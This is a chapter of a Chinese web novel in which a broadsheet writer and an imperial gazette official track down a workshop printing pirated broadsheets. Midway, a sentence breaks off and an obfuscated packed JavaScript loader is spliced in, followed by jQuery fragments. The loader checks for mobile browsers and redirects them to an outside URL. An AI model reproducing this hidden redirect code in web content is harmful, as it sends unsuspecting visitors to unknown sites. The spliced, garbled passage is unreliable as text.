34. 追查
作品:《客官吃瓜吗?保真》 一架装饰不俗的马车来到了攀楼门口停下。
蒋鹤鸣掀开帘子下了车,直径向里走去。
二楼里间,梁悦正与何先生、宁掌柜等人商讨下一期的小报选题,忽然听到店小二来报:“掌柜的,外面来了个公子说是要见乐见小郎君。”
见我?听到有人指名道姓的要见自己,梁悦从刚刚激烈的讨论中抬起头来奇怪地看向店小二。
宁掌柜、何先生皆奇怪地抬头看了看梁悦,又看向店小二。
“来人是谁啊?可说有什么事?”宁掌柜开口询问。
店小二略微思索了下回道:“那位公子只说他姓蒋,说是有急事告知。具体是什么事,他就没有说了。”
姓蒋?自己认识的姓蒋的唯有一人,该不会是他吧?梁悦来到窗边,轻轻推开一扇窗,透过窗户缝隙,看清了来人容貌——
当真是蒋鹤鸣!
梁悦立即缩回了身子,朝宁掌柜比划着:“你去见他,就说我不在。”
虽不知梁悦葫芦里卖的什么药,但是既然梁娘子都开口求助了,那他就替她走这一遭吧。宁掌柜站起来理了理袍子迈出房门。
“呦,这位便是蒋公子吧?”热情的招呼书声从二楼楼梯处传来。一位身材短小精壮的中年人提着他的长袍“噔噔噔”地自楼梯而下,脸上洋溢着十分的热情。
蒋鹤鸣有些疑惑:“您是乐见小郎君?”
中年人一听这话哈哈大笑,自我介绍道:“鄙人姓宁,是攀楼的掌柜。刚刚听闻蒋公子要找乐见小郎君?他外出不在,您有什么事情不妨告诉我。待他回来,我定转告。”
明书有些不客气地开口:“我们家郎君要找的是乐见小郎君,告诉你能行吗?”
宁掌柜笑笑,没有与明书一般见识,只看向蒋鹤鸣道:“既然您能找到我攀楼定是知道我攀楼与乐见小郎君的关系匪浅。乐见小郎君平时神龙见首不见尾的,您若是干等,怕是会耽误事情啊。若您信得过我,我定会第一时间转告。”
总觉得二楼似乎有双热切的眼睛盯着自己,蒋鹤鸣抬头朝二楼望去。
锋利的眼神从缝隙处刺来,梁悦赶忙关紧窗户,缩了回去。
蒋鹤鸣若有所思,缓了口:“既如此有劳宁掌柜转告一下乐见小郎君。近些日子恐有人拿之前为齐云社张荣成造势的小报生事,需得小心提防。”
感情这蒋公子是来送信的啊,真是个大好人。宁掌柜感激地拜拜手:“多谢蒋公子提醒。”
蒋鹤鸣顿了下,又补充道:“另外,若是没有线索,可以去查查城西白桥街。”
宁掌柜也知道最近梁悦追查盗版小报却没有头绪,连连点头:“多谢多谢,我一定如实转告。”
待蒋鹤鸣坐车走远,宁掌柜这才赶忙回到二楼将蒋鹤鸣的友情提醒转述给梁悦和何先生。
“蒋公子,真是个好人啊,居然特意跑一趟提醒我们。”宁掌柜啧啧称赞,接着又好奇道,“梁娘子你为何不亲见他?他此番相助是你们之前有过交情吗?”
梁悦端起一杯水放到唇边掩饰自己的尴尬。交情是没有的,梁子倒是挺多。
一直没有发表言论的何青行开口:“不过这位蒋公子是如何知道接下来会有人生事的?”
“那个蒋鹤鸣是进奏院新任的进奏官,也许消息是从进奏院来的。”梁悦终于舍得放下茶盏。
“进奏院!”宁掌柜惊呼,一屁股坐下,忧心忡忡,“我们可跟着进奏院对着干两次了。我就说怎么会有人这么好心。这该不会是进奏院故意引我们上钩吧?这白桥街怕是个陷阱啊。”
虽说宁掌柜的担忧不无道理,但是梁悦心里隐隐觉得这事怕是真的。眼下找到盗版小报的始作俑者最为关键,不然永远是个隐患。
这哪怕是个陷阱也得跳了!
“眼下只有这一个线索,我今晚就去城西白桥街一探究竟!”
“天干物燥,小心火烛——”打更的牛二一边敲着梆子一边悠悠地喊着一嗓子。夜里风紧,他又紧了紧衣裳。
他来的迟,分到了城西这一片。
城西这地方人烟稀少,偏僻的很。尤其是白桥街那一边更是荒凉,鲜少有人。甚至于街尾处那废弃的大宅子还流传着闹鬼的传闻。
正胡思乱想着呢,不知不觉来到了白桥街尾。
黑暗处那废宅方向竟闪烁着几点微弱的亮光。
牛二揉了揉眼再瞪大了瞧——
真的有光!
难不成是鬼火!?
牛二心里一阵发慌,正犹豫要不要凑近瞧清楚。只听到身后一声又尖又细的声音传来:“这位小哥,你看见那光了?”
半夜、废宅、鬼火、女鬼……
“啊”的惊呼声刚刚发出来一半立马被自己捂住,牛二连头也不敢转,屁滚尿流地跑得远远的。
梁悦的话说了一半,默默把剩下的半截吞进肚子里。还打算问问这更夫这废宅里是什么人呢,但是她好像不小心吓到人了。
算了算了,还是自己潜入进去一探究竟吧。
正欲往里探去,忽然被人叫住——
“且慢。”
精致的灯笼在黑暗中散发着昏暗的光,一张熟悉的俊脸晦暗不明。
蒋鹤鸣提起灯笼,映亮了梁悦的脸庞。
“果真是你。”蒋鹤鸣道。
梁悦被照得无处遁地,尴尬地扯扯嘴角:“又见面了蒋公子,真巧啊。”
蒋鹤鸣抬眼:“不巧,我已经等候多时了。”
根据明书找人打探到的消息,这汴京轶事报与马氏书肆与攀楼关系都十分密切,而他几次三番见到的那个女子姓梁,名梁悦,家中还有两位兄长,一位小妹,其中一人还读过书。据明书说梁氏兄妹欠马老板不少银子,被刁难多次。但是前些时日梁氏兄妹频繁出入马氏书肆,小报也是那是出现在市面上的。由此可以推断出……
“我着人调查过了,已知晓你的身份了。”
此话一出,梁悦一下子抬起头来:“你……知道我的身份了?”
蒋鹤鸣看着眼前瘦小惊恐又孤身一人来此处的女子,心中不免带有几分同情,叹了一口气道:“我知道你生活困苦,负债累累,所以才会有之前的那些行为。过去的事我可以既往不咎,但是望梁娘子回去后劝一劝你兄长,毕竟以后他要考取功名,一直写这些小报恐有不妥。另外,若实在缺钱,可以到蒋府找明书,我会让他备好银子借你们渡过难关。”
听着听着,梁悦悬着的心才慢慢放下去。怪不得蒋鹤鸣用那种古里古怪的眼神看她,原来是误以为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15982524|169793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她是被胁迫的。
还以为今天要掉马了,幸好幸好……
梁悦心中松了一口气,但是脸上一派感激:“多谢蒋公子,你真是个好人。我替我全家谢谢你。”
虽然这句感谢的话听起来怪怪的,但是想必因为女子多是没有读过私塾,不识得几个字,所以蒋鹤鸣也没往心里去。
梁悦之前也算是半个娱乐圈的人,演起来天真小白花也是手到擒来。她一脸楚楚可怜的神情:“蒋公子的好意我心领了,但是我兄长说了要自食其力。但是您今日说的话我一定转告兄长。”接着又话锋一转,“那您今日在攀楼所说这城西有线索是真的吗?马老板勒令我三日内一定要给他个交代。”
说起这件事,蒋鹤鸣神情又严肃起来:“近些日子坊间常有些仿制的小报,不仅仅只你一家。而那些小报都是从这里流传出来的。”
根据蒋鹤鸣提前买到的消息,这些小报印发者每月都有休息停工的几日。今天正是他们停工的时候,因此里面没什么人,只会有一两个守着废宅防止走水的人。
在梁悦的“苦苦哀求”之下,蒋鹤鸣熄了灯笼带着梁悦从废宅的破损的侧门偷偷潜入进去。
侧门没有什么守卫,进入的很顺利。
两人循着废宅里的光亮一路摸到了放置印刷好的小报与雕版的仓房。
仓房的门半敞着,在夜风中晃晃悠悠。
仓房前只有一个穿着像是庄稼人模样的人守着。准确来说是躺着,半躺在房门前呼呼大睡。
想必是盗版小报资金紧张,安保的投入就更加缩减,只便宜雇了附近庄子上的人看门。不过这样倒是方便了他们。
两人悄悄迈进仓房。
月光下,仓房里堆满了各式各样的小报。
借着月光,梁悦翻阅起来发现,不仅有她的汴京轶事报,还有其他几家汴京流行的小报。只是与之前的盗版小报一样,纸张粗糙,印上的字手指轻轻一碰还掉色,就连文字内容也与那些正版的相去甚远。
这里是什么盗版大本营吗?
蒋鹤鸣也四处环顾着,果然如他所料,这里便是那些印刷盗版小报的地方!
忽然他隐约看到了一张熟悉的邸报,他走过去轻轻一抽,果真是进奏院状报!
梁悦也凑近一看,等看清楚了上面的字,忍不住惊呼道:“他们胆子也太大了,连邸报都敢私造吗?”
“不,这张是真的进奏院印发的邸报。”蒋鹤鸣毫不犹豫地否认。他虽然进进奏院不久,但是进之前他就做了功课把近些年刊登重要消息的邸报全都买回来仔细观看学习。而这份正是一个月前刊发的有关沿海贸易的朝闻。
他又翻了翻周围的,结果寻找无果,只有这一张。
梁悦安慰道:“或许是这个人喜欢看邸报所以买了一张,结果忘记了不小心混进去了。”
眼下也只有这一个解释了,蒋鹤鸣按下心中疑窦,转而问起梁悦:“既然已经找到了盗印处,你打算如何做?”
其实刚刚看到这里头的一霎那,梁悦心中便有了计策。不过如果蒋鹤鸣愿意配合将会更好。
正好蒋鹤鸣自己提及了,她嘿嘿一笑:“不知道蒋大人可否帮我一个小小的忙呢?”
你人这么好,一定不会拒绝的吧?